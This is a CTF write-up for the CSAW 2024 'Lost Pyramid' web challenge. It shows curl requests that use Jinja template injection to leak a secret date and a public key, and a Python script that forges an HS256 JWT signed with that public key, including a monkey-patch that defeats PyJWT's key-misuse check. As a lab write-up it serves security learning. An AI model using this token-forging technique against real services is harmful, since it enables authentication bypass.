u.twoha.cc/ctf/csaw/web_lost_pyramid.md
2024-09-13 19:49:18 -05:00

4.7 KiB

title date tags
CSAW CTF 2024 Quals: Web - Lost Pyramid 2024/09/09
ctf
web

Task

A massive sandstorm revealed this pyramid that has been lost (J)ust over 3300 years.. I'm interested in (W)here the (T)reasure could be?

File: lostpyramid.zip

https://lost-pyramid.ctf.csaw.io

  • Author: cpan57
  • Points: 126
  • Solves: 249 / 1181 (21.083%)

Writeup

The website provided consists of a couple images of pyramids with links to travel to different rooms.

The source code shows us that accessing /kings_lair will get us the flag, as long as we have a JWT with the ROLE field set to "royalty" and the CURRENT_DATE field equal to the KINGSDAY variable, which is assigned through an environment variable not present in the source.

We can notice that sending a POST request to /scarab_room with form data containing the name field will render a Jinja template containing name if it only contains characters that are alphanumeric, {, or } (or some hieroglyphs, but that isn't really important). Since our input directly modifies the template instead of being passed as a separate argument, we can evaluate arbitrary expressions by surrounding them with {{ and }}.

However, the alphanumeric limitation is quite restrictive. The only useful things we can evaluate are {{KINGSDAY}}, which will tell us the value we should set CURRENT_DATE to, and {{PUBLICKEY}}, which is the public key used to validate the JWT. Notably, the private key used is stored in PRIVATE_KEY, which we cannot leak as it contains an underscore.

The fact that the challenge author allowed us to leak the public key suggests that we can do something with it though. Comparing the code for encoding and decoding the JWT, we can notice a discrepancy:

# code for encoding
token = jwt.encode(payload, PRIVATE_KEY, algorithm="EdDSA")
# code for decoding
decoded = jwt.decode(token, PUBLICKEY, algorithms=jwt.algorithms.get_default_algorithms())

While the signing algorithm used for encoding the token is explicitly set to EdDSA, any default algorithm is accepted when decoding, including symmetric-key algorithms such as HS256. Therefore, if we provide a token signed with the public key using HS256, it will be accepted as a legitimate token.

Now that we know how to get the flag, let's leak KINGSDAY and PUBLICKEY:

$ curl https://lost-pyramid.ctf.csaw.io/scarab_room -X POST --data 'name={{KINGSDAY}}'
...
Welcome to the Scarab Room, 03_07_1341_BC
...
$ curl https://lost-pyramid.ctf.csaw.io/scarab_room -X POST --data 'name={{PUBLICKEY}}'
...
Welcome to the Scarab Room, b'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPIeM72Nlr8Hh6D1GarhZ/DCPRCR1sOXLWVTrUZP9aw2'
...

To forge a JWT we can use the following script:

import jwt
import requests

payload = {
  'CURRENT_DATE': '03_07_1341_BC',
  'ROLE': 'royalty'
}
public_key = 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPIeM72Nlr8Hh6D1GarhZ/DCPRCR1sOXLWVTrUZP9aw2'
token = jwt.encode(payload, public_key)
r = requests.get('https://lost-pyramid.ctf.csaw.io/kings_lair', cookies={'pyramid': token})
print(r.text)

Running our script now gives us an error though:

$ python a.py
Traceback (most recent call last):
  File "/tmp/a.py", line 9, in <module>
    token = jwt.encode(payload, public_key)
            ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/nix/store/lvcyj76p7wh7skrr5l81af3cf1l8mk1l-python3.11-pyjwt-2.8.0/lib/python3.11/site-packages/jwt/api_jwt.py", line 73, in encode
    return api_jws.encode(
           ^^^^^^^^^^^^^^^
  File "/nix/store/lvcyj76p7wh7skrr5l81af3cf1l8mk1l-python3.11-pyjwt-2.8.0/lib/python3.11/site-packages/jwt/api_jws.py", line 160, in encode
    key = alg_obj.prepare_key(key)
          ^^^^^^^^^^^^^^^^^^^^^^^^
  File "/nix/store/lvcyj76p7wh7skrr5l81af3cf1l8mk1l-python3.11-pyjwt-2.8.0/lib/python3.11/site-packages/jwt/algorithms.py", line 268, in prepare_key
    raise InvalidKeyError(
jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.

The reason this is happening is because the library realizes that we are trying to use a public key as a secret for a symmetric algorithm, which you normally should never do, and tries to stop us by throwing an exception. We can bypass this check by inserting the following line before we call jwt.encode:

jwt.algorithms.HMACAlgorithm.prepare_key = lambda self, key: jwt.utils.force_bytes(key)

After this, our script works and gets us the flag:

$ python a.py
...
csawctf{$$king$_confusion$$$}
...

Reference